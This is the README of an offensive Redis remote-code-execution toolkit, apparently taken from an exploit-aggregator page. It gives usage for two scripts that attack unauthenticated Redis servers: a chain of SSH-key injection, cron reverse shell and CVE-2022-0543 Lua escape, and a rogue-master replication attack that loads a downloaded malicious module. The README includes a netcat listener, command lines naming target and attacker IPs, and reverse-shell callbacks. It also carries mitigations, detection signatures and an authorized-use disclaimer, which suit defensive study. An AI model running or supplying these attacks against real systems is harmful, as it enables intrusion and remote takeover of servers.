## https://sploitus.com/exploit?id=225062AC-C24A-5468-B81C-3C2BA53BDCF2
# Redis RCE Toolkit
> **Educational / Authorized Lab Use Only** — These scripts demonstrate post-exploitation techniques against unauthenticated Redis instances. Use **only** on systems you own or have explicit written permission to test.
---
## 📋 Overview
This repository contains two complementary Redis Remote Code Execution (RCE) exploit scripts targeting unauthenticated Redis servers (default port 6379). They cover the two primary exploitation paths:
| Script | Technique | Redis Versions | Requirements |
|--------|-----------|----------------|--------------|
| `redis_rce.py` | CONFIG abuse (SSH keys, cron, Lua sandbox escape) | 2.x – 6.x | Write access to filesystem via CONFIG SET |
| `redis_rogue.py` | Master/Slave replication + MODULE LOAD | 4.x / 5.x (module support) | `exp.so` payload, outbound connection from target |
Both scripts are **fire-and-forget** style — they plant payloads and return immediately. Reverse shells connect back to your listener.
---
## 🚀 Quick Start
### Prerequisites
```bash
# Python 3.6+
# netcat (for listener)
# ssh-keygen (for SSH key injection)
```
### 1. Start Your Listener
```bash
nc -lvnp 4444
```
### 2. Run the Primary Exploit (redis_rce.py)
```bash
# SSH key injection → cron → CVE-2022-0543 (automatic fallback chain)
python3 redis_rce.py --rhost 10.129.136.187 --lhost 10.10.15.199 --lport 4444
```
### 3. If Primary Fails — Use Rogue Server (redis_rogue.py)
```bash
# Requires exp.so (auto-downloads from GitHub on first run)
python3 redis_rogue.py --rhost 10.129.136.187 --lhost 10.10.15.199 --lport 4444
```
---
## 🔧 Attack Vectors Explained
### `redis_rce.py` — Three-Stage Fallback Chain
| Stage | Technique | Target Path | Success Indicator |
|-------|-----------|-------------|-------------------|
| **1** | SSH Key Injection | `/root/.ssh/authorized_keys`, `/var/lib/redis/.ssh/`, `/home/*/.ssh/` | `ssh -i id_rsa root@target` works |
| **2** | Cron Reverse Shell | `/var/spool/cron/crontabs/root`, `/etc/cron.d/root` | Shell connects back within 60s |
| **3** | CVE-2022-0543 (Lua Sandbox Escape) | Debian/Ubuntu Redis with Lua 5.1 | `uid=` in `system.exec id` output |
> **Note:** The script tries each stage sequentially and stops on first success.
### `redis_rogue.py` — Master/Slave Replication + Module Load
1. **Downloads** `exp.so` (Redis module with `system.exec` / `system.rev` commands)
2. **Starts** a rogue Redis master on `0.0.0.0:20000` (configurable)
3. **Commands** target: `SLAVEOF ` → replicates `exp.so` to `/tmp/exp.so`
4. **Loads** module: `MODULE LOAD /tmp/exp.so`
5. **Fires** `system.rev ` — fire-and-forget reverse shell
6. **Blocks** Redis server until shell exits (expected behavior)
---
## 📦 Files
```
redis_RCE/
├── redis_rce.py # Primary exploit (CONFIG abuse + Lua escape)
├── redis_rogue.py # Rogue master exploit (MODULE LOAD via replication)
├── exp.so # Pre-compiled Redis module (system.exec / system.rev)
└── README.md # This file
```
### `exp.so`
- **Source:** [n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server)
- **Exports:** `system.exec`, `system.rev` Redis commands
- **Architecture:** Linux x86_64 (ELF shared object)
- **Auto-download:** `redis_rogue.py` fetches it on first run if missing
---
## ⚙️ Configuration Options
### `redis_rce.py`
```bash
python3 redis_rce.py --help
# Required
--rhost TARGET_IP # Target Redis host
# Optional
--rport 6379 # Target Redis port
--lhost 10.10.15.199 # Your IP for reverse shell / SSH
--lport 4444 # Your listener port
--timeout 8 # Socket timeout
-v, --verbose # Print full INFO server output
```
### `redis_rogue.py`
```bash
python3 redis_rogue.py --help
# Required
--rhost TARGET_IP # Target Redis host
--lhost YOUR_IP # Your IP (for rogue master + reverse shell)
# Optional
--rport 6379 # Target Redis port
--lport 4444 # Reverse shell listener port
--exp ./exp.so # Path to module (default: ./exp.so)
--rogue-port 20000 # Rogue master bind port
--no-download # Skip auto-download of exp.so
--timeout 8 # Socket timeout
```
---
## 🛡️ Defense & Detection
### Mitigations
| Vector | Mitigation |
|--------|------------|
| Unauthenticated access | `requirepass` / ACL users (Redis 6+) |
| CONFIG SET abuse | `rename-command CONFIG ""` or ACL restrictions |
| SLAVEOF / Replication | `rename-command SLAVEOF ""` / `REPLICAOF` |
| MODULE LOAD | `rename-command MODULE ""` / disable modules |
| Lua sandbox escape | Upgrade Redis; disable Lua (`disable-commands SCRIPT EVAL`) |
| Cron/SSH writes | Run Redis as non-root user; restrict filesystem permissions |
### Detection Signatures
- `CONFIG SET dir` + `CONFIG SET dbfilename` + `SAVE` in rapid succession
- `SLAVEOF` / `REPLICAOF` from unexpected clients
- `MODULE LOAD` from `/tmp/` or unusual paths
- Outbound connections from Redis process to attacker IP
- `system.exec` / `system.rev` commands in slowlog
---
## 📚 References
- **Redis Rogue Server:** https://github.com/n0b0dyCN/redis-rogue-server
- **CVE-2022-0543:** Lua sandbox escape in Debian Redis packaging
- **Redis Security:** https://redis.io/topics/security
- **Post-Exploitation:** https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
---
## ⚠️ Legal Disclaimer
> **This code is provided for educational and authorized testing purposes only.**
>
> - Do **not** use against systems you do not own or have explicit written permission to test.
> - Unauthorized access to computer systems is illegal in most jurisdictions.
> - The authors accept **no liability** for misuse or damage caused by these tools.
> - Always follow responsible disclosure practices.
---
## 🤝 Contributing
PRs welcome for:
- Additional exploitation vectors
- Improved reliability / edge-case handling
- Better logging / verbosity
- Cross-platform compatibility (Windows Redis, etc.)
---
## 📄 License
MIT License — see individual file headers for specifics. Third-party components (exp.so) retain their original licenses.